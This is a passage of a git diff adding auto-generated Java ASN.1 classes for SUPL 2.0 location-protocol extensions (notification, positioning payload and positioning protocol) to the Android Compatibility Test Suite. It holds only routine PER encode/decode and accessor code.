+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "wlanType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class wiMAXType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_wiMAXType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public wiMAXType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_wiMAXType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_wiMAXType != null) {
+ return ImmutableList.of(TAG_wiMAXType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new wiMAXType from encoded stream.
+ */
+ public static wiMAXType fromPerUnaligned(byte[] encodedBytes) {
+ wiMAXType result = new wiMAXType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new wiMAXType from encoded stream.
+ */
+ public static wiMAXType fromPerAligned(byte[] encodedBytes) {
+ wiMAXType result = new wiMAXType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "wiMAXType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SupportedBearers = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_Notification_extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_Notification_extension.java
new file mode 100755
index 0000000..3a22eb8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_Notification_extension.java
@@ -0,0 +1,303 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_Notification_extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_Notification_extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_Notification_extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_Notification_extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_Notification_extension != null) {
+ return ImmutableList.of(TAG_Ver2_Notification_extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_Notification_extension from encoded stream.
+ */
+ public static Ver2_Notification_extension fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_Notification_extension result = new Ver2_Notification_extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_Notification_extension from encoded stream.
+ */
+ public static Ver2_Notification_extension fromPerAligned(byte[] encodedBytes) {
+ Ver2_Notification_extension result = new Ver2_Notification_extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Ver2_Notification_extension.emergencyCallLocationType emergencyCallLocation_;
+ public Ver2_Notification_extension.emergencyCallLocationType getEmergencyCallLocation() {
+ return emergencyCallLocation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_Notification_extension.emergencyCallLocationType
+ */
+ public void setEmergencyCallLocation(Asn1Object value) {
+ this.emergencyCallLocation_ = (Ver2_Notification_extension.emergencyCallLocationType) value;
+ }
+ public Ver2_Notification_extension.emergencyCallLocationType setEmergencyCallLocationToNewInstance() {
+ emergencyCallLocation_ = new Ver2_Notification_extension.emergencyCallLocationType();
+ return emergencyCallLocation_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getEmergencyCallLocation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEmergencyCallLocation();
+ }
+
+ @Override public void setToNewInstance() {
+ setEmergencyCallLocationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ver2_Notification_extension.emergencyCallLocationType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "emergencyCallLocation : "
+ + getEmergencyCallLocation().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class emergencyCallLocationType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_emergencyCallLocationType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public emergencyCallLocationType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_emergencyCallLocationType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_emergencyCallLocationType != null) {
+ return ImmutableList.of(TAG_emergencyCallLocationType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new emergencyCallLocationType from encoded stream.
+ */
+ public static emergencyCallLocationType fromPerUnaligned(byte[] encodedBytes) {
+ emergencyCallLocationType result = new emergencyCallLocationType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new emergencyCallLocationType from encoded stream.
+ */
+ public static emergencyCallLocationType fromPerAligned(byte[] encodedBytes) {
+ emergencyCallLocationType result = new emergencyCallLocationType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "emergencyCallLocationType (null value);\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_Notification_extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosPayLoad_extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosPayLoad_extension.java
new file mode 100755
index 0000000..f6d1fe8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosPayLoad_extension.java
@@ -0,0 +1,642 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_PosPayLoad_extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_PosPayLoad_extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_PosPayLoad_extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_PosPayLoad_extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_PosPayLoad_extension != null) {
+ return ImmutableList.of(TAG_Ver2_PosPayLoad_extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_PosPayLoad_extension from encoded stream.
+ */
+ public static Ver2_PosPayLoad_extension fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_PosPayLoad_extension result = new Ver2_PosPayLoad_extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_PosPayLoad_extension from encoded stream.
+ */
+ public static Ver2_PosPayLoad_extension fromPerAligned(byte[] encodedBytes) {
+ Ver2_PosPayLoad_extension result = new Ver2_PosPayLoad_extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Ver2_PosPayLoad_extension.lPPPayloadType lPPPayload_;
+ public Ver2_PosPayLoad_extension.lPPPayloadType getLPPPayload() {
+ return lPPPayload_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_PosPayLoad_extension.lPPPayloadType
+ */
+ public void setLPPPayload(Asn1Object value) {
+ this.lPPPayload_ = (Ver2_PosPayLoad_extension.lPPPayloadType) value;
+ }
+ public Ver2_PosPayLoad_extension.lPPPayloadType setLPPPayloadToNewInstance() {
+ lPPPayload_ = new Ver2_PosPayLoad_extension.lPPPayloadType();
+ return lPPPayload_;
+ }
+
+ private Ver2_PosPayLoad_extension.tIA801PayloadType tIA801Payload_;
+ public Ver2_PosPayLoad_extension.tIA801PayloadType getTIA801Payload() {
+ return tIA801Payload_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_PosPayLoad_extension.tIA801PayloadType
+ */
+ public void setTIA801Payload(Asn1Object value) {
+ this.tIA801Payload_ = (Ver2_PosPayLoad_extension.tIA801PayloadType) value;
+ }
+ public Ver2_PosPayLoad_extension.tIA801PayloadType setTIA801PayloadToNewInstance() {
+ tIA801Payload_ = new Ver2_PosPayLoad_extension.tIA801PayloadType();
+ return tIA801Payload_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getLPPPayload() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLPPPayload();
+ }
+
+ @Override public void setToNewInstance() {
+ setLPPPayloadToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ver2_PosPayLoad_extension.lPPPayloadType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "lPPPayload : "
+ + getLPPPayload().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getTIA801Payload() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTIA801Payload();
+ }
+
+ @Override public void setToNewInstance() {
+ setTIA801PayloadToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ver2_PosPayLoad_extension.tIA801PayloadType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "tIA801Payload : "
+ + getTIA801Payload().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class lPPPayloadType
+ extends Asn1SequenceOf<lPPPayloadType.lPPPayloadTypeComponentType> {
+ //
+
+ private static final Asn1Tag TAG_lPPPayloadType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public lPPPayloadType() {
+ super();
+ setMinSize(1);
+setMaxSize(3);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_lPPPayloadType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_lPPPayloadType != null) {
+ return ImmutableList.of(TAG_lPPPayloadType);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new lPPPayloadType from encoded stream.
+ */
+ public static lPPPayloadType fromPerUnaligned(byte[] encodedBytes) {
+ lPPPayloadType result = new lPPPayloadType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new lPPPayloadType from encoded stream.
+ */
+ public static lPPPayloadType fromPerAligned(byte[] encodedBytes) {
+ lPPPayloadType result = new lPPPayloadType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public lPPPayloadType.lPPPayloadTypeComponentType createAndAddValue() {
+ lPPPayloadType.lPPPayloadTypeComponentType value = new lPPPayloadType.lPPPayloadTypeComponentType();
+ add(value);
+ return value;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class lPPPayloadTypeComponentType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_lPPPayloadTypeComponentType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public lPPPayloadTypeComponentType() {
+ super();
+ setMinSize(1);
+setMaxSize(60000);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_lPPPayloadTypeComponentType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_lPPPayloadTypeComponentType != null) {
+ return ImmutableList.of(TAG_lPPPayloadTypeComponentType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new lPPPayloadTypeComponentType from encoded stream.
+ */
+ public static lPPPayloadTypeComponentType fromPerUnaligned(byte[] encodedBytes) {
+ lPPPayloadTypeComponentType result = new lPPPayloadTypeComponentType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new lPPPayloadTypeComponentType from encoded stream.
+ */
+ public static lPPPayloadTypeComponentType fromPerAligned(byte[] encodedBytes) {
+ lPPPayloadTypeComponentType result = new lPPPayloadTypeComponentType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "lPPPayloadTypeComponentType";
+ }
+}
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("lPPPayloadType = [\n");
+ final String internalIndent = indent + " ";
+ for (lPPPayloadType.lPPPayloadTypeComponentType value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class tIA801PayloadType
+ extends Asn1SequenceOf<tIA801PayloadType.tIA801PayloadTypeComponentType> {
+ //
+
+ private static final Asn1Tag TAG_tIA801PayloadType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public tIA801PayloadType() {
+ super();
+ setMinSize(1);
+setMaxSize(3);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_tIA801PayloadType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_tIA801PayloadType != null) {
+ return ImmutableList.of(TAG_tIA801PayloadType);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new tIA801PayloadType from encoded stream.
+ */
+ public static tIA801PayloadType fromPerUnaligned(byte[] encodedBytes) {
+ tIA801PayloadType result = new tIA801PayloadType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new tIA801PayloadType from encoded stream.
+ */
+ public static tIA801PayloadType fromPerAligned(byte[] encodedBytes) {
+ tIA801PayloadType result = new tIA801PayloadType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public tIA801PayloadType.tIA801PayloadTypeComponentType createAndAddValue() {
+ tIA801PayloadType.tIA801PayloadTypeComponentType value = new tIA801PayloadType.tIA801PayloadTypeComponentType();
+ add(value);
+ return value;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class tIA801PayloadTypeComponentType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_tIA801PayloadTypeComponentType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public tIA801PayloadTypeComponentType() {
+ super();
+ setMinSize(1);
+setMaxSize(60000);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_tIA801PayloadTypeComponentType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_tIA801PayloadTypeComponentType != null) {
+ return ImmutableList.of(TAG_tIA801PayloadTypeComponentType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new tIA801PayloadTypeComponentType from encoded stream.
+ */
+ public static tIA801PayloadTypeComponentType fromPerUnaligned(byte[] encodedBytes) {
+ tIA801PayloadTypeComponentType result = new tIA801PayloadTypeComponentType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new tIA801PayloadTypeComponentType from encoded stream.
+ */
+ public static tIA801PayloadTypeComponentType fromPerAligned(byte[] encodedBytes) {
+ tIA801PayloadTypeComponentType result = new tIA801PayloadTypeComponentType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "tIA801PayloadTypeComponentType";
+ }
+}
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("tIA801PayloadType = [\n");
+ final String internalIndent = indent + " ";
+ for (tIA801PayloadType.tIA801PayloadTypeComponentType value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_PosPayLoad_extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosProtocol_extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosProtocol_extension.java
new file mode 100755
index 0000000..ca88fa2
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosProtocol_extension.java
@@ -0,0 +1,544 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_PosProtocol_extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_PosProtocol_extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_PosProtocol_extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_PosProtocol_extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_PosProtocol_extension != null) {
+ return ImmutableList.of(TAG_Ver2_PosProtocol_extension);
+ } else {
